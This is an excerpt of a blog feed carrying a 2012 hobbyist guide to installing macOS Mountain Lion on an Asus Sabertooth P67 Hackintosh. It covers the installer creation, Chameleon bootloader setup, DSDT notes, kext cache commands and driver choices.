<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="md5 hash cracker">md5 hash cracker</a></li>
<li><a href="https://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords" title="sha1 cracker">sha1 cracker</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[[GUIDE] HackinTosh – Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>How to build a HackinTosh with Mountain Lion (10.8), the latest version of MacOS X.</p>
</blockquote>
<p><em>During this very hot summer (about 37&#xB0;C outside), I&#xA0;spent about 20 hours in an entire weekend to install MacOS 10.8 Mountain Lion on my Asus Sabertooth P67. Really, there&</em></p>]]></description><link>https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b975</guid><category><![CDATA[10.8]]></category><category><![CDATA[10.8.1]]></category><category><![CDATA[10.8.2]]></category><category><![CDATA[10.8.3]]></category><category><![CDATA[10.8.4]]></category><category><![CDATA[10.8.5]]></category><category><![CDATA[2.4.14]]></category><category><![CDATA[AGPM]]></category><category><![CDATA[AMD]]></category><category><![CDATA[apple]]></category><category><![CDATA[AppleGraphicsPowerManagement]]></category><category><![CDATA[AppleHDA]]></category><category><![CDATA[AppleIntelE1000e]]></category><category><![CDATA[AppleIntelE1000e.kext]]></category><category><![CDATA[ATI]]></category><category><![CDATA[Chameleon]]></category><category><![CDATA[CPU]]></category><category><![CDATA[darwin]]></category><category><![CDATA[DSDT]]></category><category><![CDATA[Dual GPU]]></category><category><![CDATA[Extra]]></category><category><![CDATA[ExtraThi]]></category><category><![CDATA[fix]]></category><category><![CDATA[GenericUSBXHCI]]></category><category><![CDATA[GPU]]></category><category><![CDATA[GTX]]></category><category><![CDATA[GTX480]]></category><category><![CDATA[GUID]]></category><category><![CDATA[Hackintosh]]></category><category><![CDATA[HD6870]]></category><category><![CDATA[i7-2600k]]></category><category><![CDATA[iCloud]]></category><category><![CDATA[iMessage]]></category><category><![CDATA[intel]]></category><category><![CDATA[kernel]]></category><category><![CDATA[kext]]></category><category><![CDATA[LLC]]></category><category><![CDATA[MacOS]]></category><category><![CDATA[Mountain Lion]]></category><category><![CDATA[NVIDIA]]></category><category><![CDATA[p67]]></category><category><![CDATA[PXHCD]]></category><category><![CDATA[RAID]]></category><category><![CDATA[raid0]]></category><category><![CDATA[RehabMan]]></category><category><![CDATA[Sabertooth]]></category><category><![CDATA[Speedstep]]></category><category><![CDATA[SSDT]]></category><category><![CDATA[USB]]></category><category><![CDATA[xZeneu]]></category><category><![CDATA[Zenith432]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Sun, 19 Aug 2012 15:45:32 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/mountain-lion-mac-os-x.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/mountain-lion-mac-os-x.png" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"><p>How to build a HackinTosh with Mountain Lion (10.8), the latest version of MacOS X.</p>
</blockquote>
<p><em>During this very hot summer (about 37&#xB0;C outside), I&#xA0;spent about 20 hours in an entire weekend to install MacOS 10.8 Mountain Lion on my Asus Sabertooth P67. Really, there&apos;s no best time for that&#x2026; And because I love you my readers, I wrote this little GUIDE in the hope you&apos;ll find useful information about it.</em></p>
<p>This article will be updated&#xA0;frequently. So come back here from time to time or follow me on <a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Twitter">twitter</a>!</p>
<p><span data-mce-mark="1" style="text-decoration: underline;">What&#x2019;s not working:</span></p>
<ul>
<li><span style="color: #ff0000;">Nothing</span></li>
</ul>
<p><span data-mce-mark="1" style="text-decoration: underline; color: #008000;">Updates:</span><span data-mce-mark="1" style="color: #888888;"> (subscribe to my <a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Twitter"><span data-mce-mark="1" style="color: #888888;">twitter</span></a> to get notified)</span></p>
<ul>
<li>08/20/2012 &#x2013; ExtraThi updated to v1.1! (ExtraThi v1.0 was broken)</li>
<li>08/20/2012 &#x2013; Added USB 3.0 support explanations in STEP #3.</li>
<li>08/23/2012 &#x2013; Updated information relative to Extensions.mkext creation.</li>
<li>08/23/2012 &#x2013; Original ExtraThi_v1.1 renamed to ExtraThi_v1.1_10.8.</li>
<li>08/23/2012 &#x2013; <a href="#10.8.1">10.8.1 update procedure</a> with ExtraThi_v1.1_10.8.1.</li>
<li>08/23/2012 &#x2013; Chameleon 2.1 r2048 replaced by r2050.</li>
<li>08/24/2012 &#x2013;&#xA0;<a href="#10.8.1">10.8.1 update procedure</a>&#xA0;[ <span data-mce-mark="1" style="color: #ff9900;">TESTING&#x2026;</span> ] -&gt; [ <span data-mce-mark="1" style="color: #008000;">GOOD</span> ]</li>
<li>09/22/2012 &#x2013; Fixed a mistake in AppleGraphicsPowerManagement.kext plist modification (IOCFUnserialize: syntax error near line 2995). Please download the new kext <strong>or</strong>&#xA0;apply the new modifications!</li>
<li>09/22/2012 &#x2013; Chameleon 2.1 r2050 replaced by r2060.</li>
<li>09/22/2012 &#x2013;&#xA0;<a href="#10.8.2">10.8.2 update procedure</a>&#xA0;[&#xA0;<span data-mce-mark="1" style="color: #008000;">GOOD</span>&#xA0;]</li>
<li>01/11/2013 &#x2013; Minor changes.</li>
<li>01/11/2013 &#x2013; USB 3.0 working, added a note about it for SaberTooth P67 users.</li>
<li>03/18/2013 &#x2013; Chameleon 2.1 r2060 replaced by Chameleon 2.2 r2187.</li>
<li>03/18/2013 &#x2013; <a href="#iMessage">iMessage fix </a>with FileNVRAM from xZeneu LLC.</li>
<li>03/18/2013 &#x2013; New version of AGPM.kext for MacOS X 10.8.3.</li>
<li>03/18/2013 &#x2013;&#xA0;<a href="#10.8.3">10.8.3 update procedure</a>&#xA0;[&#xA0;<span style="color: #ff9900;">TESTING&#x2026;</span>&#xA0;] -&gt; [&#xA0;<span style="color: #008000;">GOOD</span>&#xA0;]</li>
<li>03/18/2013 &#x2013; Minor changes.</li>
<li>03/29/2013&#xA0;&#x2013; Fixed a mistake in AppleGraphicsPowerManagement.kext plist modification for 10.8.3. Please download the new kext!</li>
<li>05/04/2013 &#x2013; New Audio kext instructions, which fix &#x201C;With DSDT&#x201D; Audio kext issues under 10.8.3. (MultiBeast has been updated with new audio kexts:&#xA0;Updated toleda&#x2019;s patched AppleHDAs to the 10.8.3 versions)</li>
<li>05/04/2013 &#x2013; USB 3.0 support is now UNIVERSAL! New USB 3.0 Instructions. (<span style="color: #ff0000;">Make sure to delete any&#xA0;<em>CalDigit*.kext</em> and&#xA0;<em>PXHCD.kext</em>&#xA0;drivers from your /System/Library/Extensions folder</span>). Fix USB 3.0 not properly working under 10.8.3. You should now use&#xA0;RehabMan&#x2019;s branch of Zenith432&#x2019;s <em>GenericUSBXHCI.kext</em> to enable USB 3.0.</li>
<li>05/04/2013 &#x2013;&#xA0;ExtraThi updated to v1.2! (New Preboot image with new additional and updated kexts. Thanks to Artistus!)</li>
<li>06/07/2013 &#x2013;&#xA0;<a href="#10.8.4">10.8.4 update procedure</a>&#xA0;[&#xA0;<span style="color: #008000;">GOOD</span>&#xA0;]</li>
<li>06/07/2013 &#x2013; Chameleon 2.2 r2187 replaced by Chameleon 2.2 r2189.</li>
<li>09/21/2013 &#x2013; Chameleon 2.2 r2189 replaced by Chameleon 2.2 r2263.</li>
<li>09/21/2013 &#x2013;&#xA0;ExtraThi updated to v1.3! (New <a href="https://github.com/kozlek/HWSensors?ref=blog.thireus.com" title="FakeSMC kernel extension for OS X with hardware monitoring features">fakesmc.kext + plugins 5.3.832</a> from kozlek)</li>
<li>09/21/2013 &#x2013;&#xA0;<a href="#10.8.5">10.8.5 update procedure</a>&#xA0;[&#xA0;<span data-mce-mark="1" style="color: #008000;">GOOD</span>&#xA0;]</li>
<li>11/04/2013 &#x2013; Chameleon 2.2 r2263 replaced by Chameleon 2.2 r2266.</li>
<li>11/04/2013 &#x2013; <em>AppleIntelE1000e.kext</em>, you should roll back to <a href="#e2.4.14">v2.4.14</a>.</li>
<li>11/04/2013 &#x2013;&#xA0;<a href="#10.8.5_1">10.8.5 Supplemental Update 1.0 PROCEDURE</a>&#xA0;[&#xA0;<span data-mce-mark="1" style="color: #008000;">GOOD</span>&#xA0;]</li>
<li>16/03/2014 &#x2013; SAPPHIRE ATI Radeon HD6870 multiple output (4 PORT dvi/hdmi) <a href="#ATI6000Controller.kext">fix</a>.</li>
</ul>
<p><span data-mce-mark="1" style="text-decoration: underline; color: #888888;">TODO:</span></p>
<ul>
<li><del><span data-mce-mark="1" style="color: #888888;">Better AGPM.kext for NVIDIA GTX 480 to avoid lags of 1st speedstep layer.</span></del><span data-mce-mark="1" style="color: #888888;"> (in fact the plist modification was broken due to a syntax error&#x2026; so the kext was not loaded! It is now fixed!)</span></li>
<li><del><span data-mce-mark="1" style="color: #888888;">Extra checks regarding STEP #3 additional kexts.</span></del></li>
<li><span data-mce-mark="1" style="color: #888888;">Better patch for&#xA0;<em>AppleIntelCPUPowerManagement</em> (boot kext mode) so it can be added to <em>Extensions.mkext</em> and will not require to be removed from /S/L/E.</span></li>
<li><span style="color: #808080;">Test&#xA0;betstu settings for&#xA0;<em>AGPM.kext</em> GTX480 iMac12,2 10.8</span></li>
</ul>
<h4 id="beforewestart">Before we start&#x2026;</h4>
<p>This is not a universal/generic GUIDE. All tips, files and patches provided in this article are designed to work for my own computer specs.&#xA0;In the meantime, I think people with a similar configuration will find this guide interesting and useful to achieve their installation of MacOS X Mountain Lion.</p>
<p><img src="https://blog.thireus.com/img/macos-x-mountain-lion-10-8-thireus-248x303.png" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="MacOS X Mountain Lion 10.8 Thireus" loading="lazy"></p>
<p>This guide was not written for beginners, also if you have any questions, I recommend you to ask on various HackinTosh forum&#xA0;communities before, such as <a href="http://www.tonymacx86.com/forum.php?ref=blog.thireus.com" title="tonymacx86.com">tonymacx86</a> or <a href="http://www.insanelymac.com/forum/index.php?act=idx&amp;ref=blog.thireus.com" title="InsanelyMac Forum">InsanelyMac</a>.</p>
<h4 id="aboutmyspecs">About my specs</h4>
<p>Let&#x2019;s see what we have here&#x2026;</p>
<ul>
<li><strong>CPU:</strong>&#xA0;Intel &#x2013; Processeur &#x2013; Intel Core i7 2600K / 3,4 GHz &#x2013; LGA1155 Socket &#x2013; L3 8 Mo</li>
<li><strong>RAM:</strong>&#xA0;G.Skill Kit Extreme3 4 x 4 Go PC15000 Sniper CAS 9</li>
<li><strong>MotherBoard:</strong>&#xA0;ASUS SABERTOOTH P67 (rev. B3) &#x2013; Socket 1155 &#x2013; Chipset P67 &#x2013; ATX &#x2013;&#xA0;<span data-mce-mark="1" style="color: #ff0000;">BIOS VERSION 2302 <a href="http://www.asus.com/Motherboards/Intel_Socket_1155/SABERTOOTH_P67/?ref=blog.thireus.com#download" title="ASUS - Motherboards- ASUS SABERTOOTH P67"><span data-mce-mark="1" style="color: #ff0000;">official</span></a>*</span></li>
<li><strong>GPU:</strong>&#xA0;SAPPHIRE ATI Radeon HD6870 Toxic | 1024 Mo DDR5 &#x2013; PCI Express &#x2013; DUAL DVI / HDMI / mini DP</li>
<li><strong>GPU:</strong>&#xA0;ASUS ENGTX480/2DI/1536MD5 GeForce GTX 480 (Fermi) 1536MB 384-bit GDDR5 PCI Express 2.0 x16 HDCP Ready SLI Support Video Card</li>
<li><strong>Power Supply:</strong>&#xA0;OCZ Z Series Gold OCZZ1000M 1000W</li>
<li><strong>CPU Cooler:</strong>&#xA0;COOLER MASTER HYPER 212 PLUS</li>
<li><strong>Case:</strong>&#xA0;Lian Li PC-K63</li>
</ul>
<p><span data-mce-mark="1" style="color: #ff0000;">* </span><span data-mce-mark="1" style="color: #808080;">Some people have reported issues with the SATA controller for the latest&#xA0;3302 version (<a href="http://www.34tech.net/2012/07/30/do-not-upgrade-your-sabertooth-p67-hackintosh-bios-to-3xxx/?ref=blog.thireus.com" title="Do NOT Upgrade your Sabertooth P67 Hackintosh BIOS to 3xxx"><span data-mce-mark="1" style="color: #808080;">link</span></a>). Do not upgrade your BIOS unless you know what you&#x2019;re doing. By the way, it is possible to <a href="http://legacy.tonymacx86.com/viewtopic.php?t=49340&amp;ref=blog.thireus.com" title="Asus 1155 Patched BIOS Repository"><span data-mce-mark="1" style="color: #808080;">patch your BIOS</span></a> to avoid some issues with MacOS, such as&#xA0;<em>AppleIntelCPUPowerManagement</em> problems related to <a href="https://en.wikipedia.org/wiki/SpeedStep?ref=blog.thireus.com" title="SpeedStep"><span data-mce-mark="1" style="color: #808080;">Intel SpeedStep</span></a>.</span></p>
<h4 id="whatwillyouneed">What will you need?</h4>
<p>It&apos;s always best to already have a working version of MacOS installed on your HackinTosh. Although it&apos;s possible to achieve all steps of this GUIDE with an external MacOS system, it will be more difficult. But before anything else, I recommend you to get the following stuff:</p>
<ul>
<li>1 x USB/SD card of 8GB minimum.</li>
<li>1 x Original Mountain Lion Install DVD (<em>InstallESD.dmg</em>,&#xA0;md5 checksum = 8b4869920cd740414fe6b7e3f0b1be3e).</li>
<li>8GB of available space minimum to install Mountain Lion.</li>
<li>1 x Human Brain.</li>
<li>30 minutes up to 3 hours of your time.</li>
</ul>
<h4 id="hackintoshcommonissueswarning">HackinTosh common issues&#x2026; Warning!</h4>
<p><img src="https://blog.thireus.com/img/IMG_0237-269x201.jpeg" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="Woops Kernel Panic pod2g Hack In The Box Amsterdam 2012" loading="lazy"><br>
In case some of you might think that dealing with a HackinTosh is quite easy, here is a list of common issues you can face while attempting to build your HackinTosh. These issues CAN ALSO resurface after every OS X update!</p>
<ul>
<li>Speedstep not working, which causes Kernel Panic at startup (related to&#xA0;<em>AppleIntelCPUPowerManagement.kext</em>).</li>
<li>SATA controller not working properly.</li>
<li>Some&#xA0;<a href="https://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface?ref=blog.thireus.com#Firmware_interface" title="Advanced Configuration and Power Interface">ACPI</a>&#xA0;tables not recognized (in this case you have to deal with DSDT or/and SSDT).</li>
<li>Graphics cards not natively supported can lead to Kernel Panics, bad power management (altered performances), black/blank screens, freezes, video output not recognized (DVI/HMDI/VGA), etc.</li>
<li>USB not recognized, including both USB 2.0 and 3.0.</li>
<li>Network cards not working or stuck at a certain speed.</li>
<li>Audio output/input not working.</li>
<li>Sleep/Wake/Reboot not working.</li>
</ul>
<p>Most of these issues can be solved by patching Apple drivers, or installing custom drivers. Some of them, such as DSDT and SSDT tables require advanced knowledge and hacks.</p>
<h4 id="step1creatingusbsdmountainlioninstallationdrive">STEP 1 &#x2013;&#xA0;Creating USB/SD Mountain Lion Installation Drive</h4>
<p>For this part, you need to force Finder to show all hidden files (<a href="http://www.brooksandrus.com/blog/2007/03/23/mac-os-x-show-hide-hidden-files-in-finder/?ref=blog.thireus.com" title="Mac OS X &#x2013; Show / Hide Hidden Files in Finder">link</a>).</p>
<ol>
<li>Right Click on &quot;Install OS X Mountain Lion&quot; -&gt; Show Package Contents.</li>
<li>Contents -&gt; Shared Support -&gt; InstallESD.dmg.</li>
<li>Open&#xA0;<strong>InstallESD.dmg</strong> (this will popup the &#x201C;Mac OS X Install ESD&#x201D; volume).</li>
<li>In&#xA0;&quot;Mac OS X Install ESD&quot; volume open **BaseSystem.dmg **(this will popup the &quot;Mac OS X Base System&quot; volume).</li>
<li>Open the&#xA0;Disk Utility application.</li>
</ol>
<p>Now we will create our USB/SD Mountain Lion installation DVD volume.</p>
<ol>
<li>Partition your USB/SD device to match two partition, GUID Partition Scheme, both must be&#xA0;Mac OS Extended (Journaled).</li>
<li>The first partition must be around 500MB, and the second one the remaining free space.</li>
<li>Call the first partition <strong>CHAMELEON</strong> (500MB), and the second one <strong>INSTALLDVD</strong> (more than 6GB).</li>
<li>Restore &quot;Mac OS X Base System&quot; volume&#xA0;(source)&#xA0;to <strong>INSTALLDVD</strong> (destination).</li>
<li>Once done, your <strong>INSTALLDVD</strong> partition should now popup under the name&#xA0;<strong>Mac OS X Base System</strong>.</li>
<li>Replace &quot;<strong>Mac OS X Base System</strong>&quot;/System/Installation/Packages (must be removed) by&#xA0;&quot;Mac OS X Install ESD&quot;/Packages (copy/paste)<span data-mce-mark="1" style="color: #ff0000;">*</span></li>
<li>&quot;<strong>Mac OS X Base System</strong>&quot; is now your installation DVD volume.</li>
</ol>
<p><span data-mce-mark="1" style="color: #ff0000;">* </span><span data-mce-mark="1" style="color: #888888;">A more detailed and illustrated guide about this process can be found on this <a href="http://forums.macrumors.com/showthread.php?t=1401529&amp;ref=blog.thireus.com" title="[GUIDE] Creating a **good** Mountain Lion USB"><span data-mce-mark="1" style="color: #888888;">link</span></a>.</span></p>
<p>At the end, this is how your USB/SD drive should look like:</p>
<p>[![](<strong>GHOST_URL</strong>/img/mountain-lion-1<img src="https://blog.thireus.com/img/mountain-lion-10-8-usbsd-installation-drive-partitions-637x436.png" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="Mountain Lion 10.8 &#x2013; USB/SD installation drive partitions" loading="lazy">om/img/mountain-lion-10-8-usbsd-installation-drive-partitions.png)</p>
<p>Now we have to create the bootloader:</p>
<ol>
<li>Download Chameleon 2.2 r2266 or newer version (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2266">source</a>&#xA0;or&#xA0;<a href="http://www.osx86.net/files/file/3511-chameleon-22-svn-r2266/?ref=blog.thireus.com" title="Chameleon 2.2 svn r2266">package</a>).</li>
<li>Install Chameleon on your <strong>CHAMELEON</strong> volume (default install, no extra options checked).</li>
<li>Open <strong>CHAMELEON</strong>, unzip and copy the following Extra folder into it:</li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.1_10.8.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
54.9 MB - ExtraThi_v1.1_10.8.zip
    </div>
</div>
<p>In this Extra folder you will find:</p>
<ul>
<li><strong>DSDT</strong>.aml/dsl files are specific to <span data-mce-mark="1" style="color: #ff0000;">ASUS Sabertooth P67</span> AND&#xA0;<span data-mce-mark="1" style="color: #ff0000;">Intel Core i7-2600k</span>! If you have a different configuration you can <a href="http://www.macbreaker.com/2012/03/make-dsdt-with-dsdt-editor.html?ref=blog.thireus.com" title="How to make your own DSDT with DSDT Editor">create and patch</a> your own DSDT, or you can find pre-patched DSDT in <a href="http://www.tonymacx86.com/11-dsdt-database.html?ref=blog.thireus.com" title="DSDT Database">this database</a>.</li>
<li><strong>SSDT patches</strong> for CPU Speedstep <span data-mce-mark="1" style="text-decoration: underline;"><strong>have been directly integrated to DSDT</strong></span> (ASUS motherboards does not deal with SSDT for that). If you have a different configuration other than&#xA0;<span data-mce-mark="1" style="color: #ff0000;">ASUS Sabertooth P67</span>&#xA0;AND&#xA0;<span data-mce-mark="1" style="color: #ff0000;">Intel Core i7-2600k</span>, YOU MUST&#xA0;<a href="http://macmanx86.blogspot.fr/2012/05/customizing-ssdt-power-management.html?ref=blog.thireus.com" title="Customizing SSDT: Power Management Optimization on 10.7.4">follow these instructions</a> to create your own SSDT or find some help in <a href="http://www.tonymacx86.com/ssdt/?ref=blog.thireus.com" title="SSDT Forum">this forum</a>. If you do not create any SSDT file or patch your DSDT file (for your custom configuration) you will be stuck at some CPU speed (16x for example).</li>
<li><strong>Preboot.dmg</strong> contains all generic kexts you need to boot, including patched&#xA0;AppleIntelCPUPowerManagement.kext. It also contains the Darwin kernel (12.0.0)&#xA0;for MacOS X 10.8. This Preboot.dmg image should be <span data-mce-mark="1" style="color: #008000;">generic</span> but is dependent of the OS X version.</li>
<li>Other files are <span data-mce-mark="1" style="color: #008000;">generic and related to Chameleon configuration</span>.</li>
</ul>
<p>Once done, eject your drive and boot your computer with it. Chameleon should display a list of bootable drives, you must select &quot;<strong>Mac OS X Base System</strong>&quot;.</p>
<h4 id="step2installmacosxmountainlion108">STEP 2 &#x2013;&#xA0;Install MacOS X Mountain Lion 10.8</h4>
<p>Boot your&#xA0;&quot;<strong>Mac OS X Base System</strong>&quot; drive (which is Mountain Lion Installation DVD) in verbose mode (-v).</p>
<p>Now comes the hard part. If you are lucky enough and if you use the same configuration as me, Mountain Lion Installation DVD will load without any issues. If not, issues can be related to the ones listed in the&#xA0;<em>HackinTosh common issues&#x2026; Warning!</em> section of this GUIDE. Most issues can be related to your Graphic Card and can be solved with some tricks like <em>GraphicsEnabler=Yes/No</em>. For this reason, I will not list here all issues and solutions, it really depends of your Graphic Card model. By the way, if you plan to buy a new Graphic Card, I recommend you to have a look at <a href="http://wiki.osx86project.org/wiki/index.php/HCL_10.7.4?ref=blog.thireus.com" title="HCL 10.7.4">this list</a> and buy a &quot;Working Out Of the Box&quot; Graphic Card.</p>
<p>Some people are facing an issue with ATI/AMD Graphics Cards, when the Installation DVD is loaded they see a blank screen and their mouse but nothing else. To fix this issue you have two solutions:</p>
<ol>
<li>You can press the power button to make your computer got to sleep, and then press the power button again to wake it up. Once awake you should see the normal Installation screen and no more blank screen. This works only if you have sleep/wake working. It was working for me with my ATI Radeon HD6870 Toxic.</li>
<li>According&#xA0;to <a href="http://www.tonymacx86.com/mountain-lion-desktop-support/60608-stuck-white-screen-when-trying-install-mountain-lion.html?ref=blog.thireus.com" title="Stuck at white screen when trying to install Mountain Lion">this topic</a>, you can delete/backup&#xA0;<strong>ATI6000controller.kext</strong>&#xA0;which is located in your &quot;<strong>Mac OS X Base System</strong>&quot;/System/Library/Extensions folder. This step is&#xA0;only for the installation process. Once on Mountain Lion you must put this file back in your&#xA0;/System/Library/Extensions folder.</li>
</ol>
<p>In case everything works well, you should be able to install Mountain Lion.</p>
<p>[![](<strong>GHOST_URL</strong>/img/IMG_0783_mod-43<img src="https://blog.thireus.com/img/IMG_0783_mod-437x326.jpg" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="STAGE 1 - Chameleon Bootloader" loading="lazy">om/img/stage-1-chameleon-bootloader.jpg) [![](<strong>GHOST_URL</strong>/img/IMG_0787_mod-43<img src="https://blog.thireus.com/img/IMG_0787_mod-437x326.jpg" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="STAGE 2 - Mountain Lion Install DVD boot process..." loading="lazy">om/img/stage-2-mountain-lion-install-dvd-boot-process.jpg) [![](<strong>GHOST_URL</strong>/img/IMG_0788_mod-43<img src="https://blog.thireus.com/img/IMG_0788_mod-437x326.jpg" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="STAGE 3 - Mountain Lion Install DVD Welcome Screen :D" loading="lazy">om/img/stage-3-mountain-lion-install-dvd-welcome-screen-d.jpg) [![](<strong>GHOST_URL</strong>/img/IMG_0791_mod-43<img src="https://blog.thireus.com/img/IMG_0791_mod-437x326.jpg" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="STAGE 4 - Mountain Lion Installation" loading="lazy">om/img/stage-4-mountain-lion-installation.jpg)</p>
<h6 id="raid0optionalpart">RAID0 (optional part)</h6>
<p><em>Those who don&#x2019;t want to use RAID0 might find this tip useful too, because this tip provides an easy way to backup the <em>Extensions.mkext</em> file to prevent any stuck OS X. For example, if you install a bad kext in your&#xA0;<em>/System/Library/Extensions</em> folder that crashes your OS on the next boot, you can easily rollback to one of your previous&#xA0;<em>Extensions.mkext</em> files which does not contain this bad kext.</em></p>
<p>If you want to install Mountain Lion on a RAID0 software partition you&apos;ll also be interested to read my old post regarding&#xA0;<a href="https://blog.thireus.com/raid-0-apple-software-x86_64-kernel-guid-dual-boot-seven" title="RAID 0 Apple Software + x86_64 kernel + GUID + Dual Boot Seven">RAID 0 Apple Software + x86_64 kernel + GUID + Dual Boot Seven</a>. Note that if you are planing to install your OS on a RAID0 partition it is way better to have an external chameleon bootloader (located on another drive), because you will face a big issue regarding kexts. Chameleon will not be able to access your RAID0 drive to load <em>Extensions.mkext</em> nor extensions located in the&#xA0;<em>/System/Library/Extensions</em> folder (in case you try to boot without cache -f). For this reason, you will need to create the <em>Extensions.mkext</em> cache file in your Chameleon Extra folder BEFORE you try to boot Mountain Lion and AFTER any changes in your <em>/System/Library/Extensions folder</em>. <span data-mce-mark="1" style="color: #ff0000;">YOU SHOULD FIRST DELETE&#xA0;<em><strong>AppleIntelCPUPowerManagement.kext</strong></em> from your&#xA0;<em>/System/Library/Extensions</em> folder!</span></p>
<p>Use the following commands every time you update your OS or update your Extensions folder:</p>
<p><code>mv /Volumes/CHAMELEON/Extra/Extensions.mkext /Volumes/CHAMELEON/Extra/Extensions.mkext.bak</code><br>
<code>cd /Volumes/CHAMELEON/Extra/</code><br>
<code>sudo&#xA0;kextcache -v -l -m Extensions.mkext /System/Library/Extensions</code></p>
<p>If you have multiple Extensions folders:</p>
<p><code>mv /Volumes/CHAMELEON/Extra/Extensions.mkext /Volumes/CHAMELEON/Extra/Extensions.mkext.bak</code><br>
<code>cd /Volumes/CHAMELEON/Extra/</code><br>
<code>sudo&#xA0;kextcache -v -l -m Extensions.mkext /Extra/Extensions ... /System/Library/Extensions ... /AndAnyOtherFolderContainingkexts</code></p>
<h4 id="step3bootmountainlion108andinstalladditionalkexts">STEP 3 &#x2013;&#xA0;Boot Mountain Lion 10.8 and install additional kexts</h4>
<p>Use your Chameleon USB/SD drive to boot Mountain Lion. When the list of bootable OS popup you just have to choose the name of the OS X partition where you have installed Mountain Lion. Once done&#x2026; Welcome in Mountain Lion!</p>
<p><span data-mce-mark="1" style="color: #ff0000;">YOU SHOULD FIRST DELETE&#xA0;<em><strong>AppleIntelCPUPowerManagement.kext</strong></em>&#xA0;from your&#xA0;<em>/System/Library/Extensions</em> folder!<br>
DELETE THIS KEXT AFTER ANY UPDATE OF MOUNTAIN LION, BEFORE REBOOT!</span></p>
<p>What you might want to do is to install the Chameleon Bootloader on your disk to get rid of your USB/SD bootable device. Follow once again the steps to install Chameleon with the Extra folder, but this time either select your Mountain Lion partition or another bootable device (if you have installed OSX on a Raid0 partition I recommend you the second option). Then in your BIOS, change the settings to boot on the drive where you have installed Chameleon!</p>
<p><em>About additional kexts&#x2026;</em></p>
<p>Audio, USB 3.0 and Ethernet drivers can be found in&#xA0;<a href="http://www.tonymacx86.com/downloads.php?do=cat&amp;id=3&amp;ref=blog.thireus.com" title="tonymacx86 Downloads">MultiBeast &#x2013; Mountain Lion</a>. The reason why I prefer not to use such tools for a fresh install is because most of the time we don&apos;t know what exactly these applications install. So I prefer creating my own bootloader with my own kexts, which is better in case I need to debug my bootloader.</p>
<ul>
<li><strong>Audio</strong><span data-mce-mark="1" style="color: #ff0000;">*</span> &#x2013;&#xA0;If you use my DSDT you must select ALC892 from the &#x201C;Drivers &amp; Bootloaders -&gt; Drivers -&gt; Audio -&gt; Realtek ALC8xx -&gt; With/Without DSDT&#x201D; section (use &#x2018;Without DSDT&#x2019; if you have not patched your DSDT). Otherwise, you must select the audio driver for your own configuration in case the Audio doesn&apos;t work out of the box.</li>
<li><strong>USB 3.0</strong>&#xA0;&#x2013; Install&#xA0;<strong>USB 3.0 &#x2013; Universal</strong>&#xA0;from the&#xA0;&#x201C;Drivers &amp; Bootloaders -&gt; Drivers -&gt;&#xA0;Miscellaneous&#x201D; section. <span style="color: #ff0000;">Make sure you do not have any&#xA0;CalDigit*.kext and PXHCD.kext&#xA0;drivers from your /System/Library/Extensions folder, otherwise you must delete them (and rebuild your kext cache).</span></li>
<li><strong>Ethernet</strong><span data-mce-mark="1" style="color: #ff0000;">*</span> &#x2013; Install <strong>hnak&apos;s AppleIntelE1000e Ethernet</strong> (from&#xA0;MultiBeast &#x2013; Mountain Lion) or&#xA0;<a href="http://www.insanelymac.com/forum/index.php?showtopic=205771&amp;ref=blog.thireus.com" title="AppleIntelE1000e.kext for 10.7/10.6/10.5">AppleIntelE1000e.kext</a>&#xA0;(I prefer this method). It is strongly advised to use the stable 2.4.14 version of this kext. Newest versions are very unstable after hours of heavy network usage (i.e. 2.5.4d). This issue was reported on the official forum topic: <a href="http://www.insanelymac.com/forum/topic/205771-appleintele1000ekext-for-108107106105/?p=1953266&amp;ref=blog.thireus.com">here</a>.</li>
</ul>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
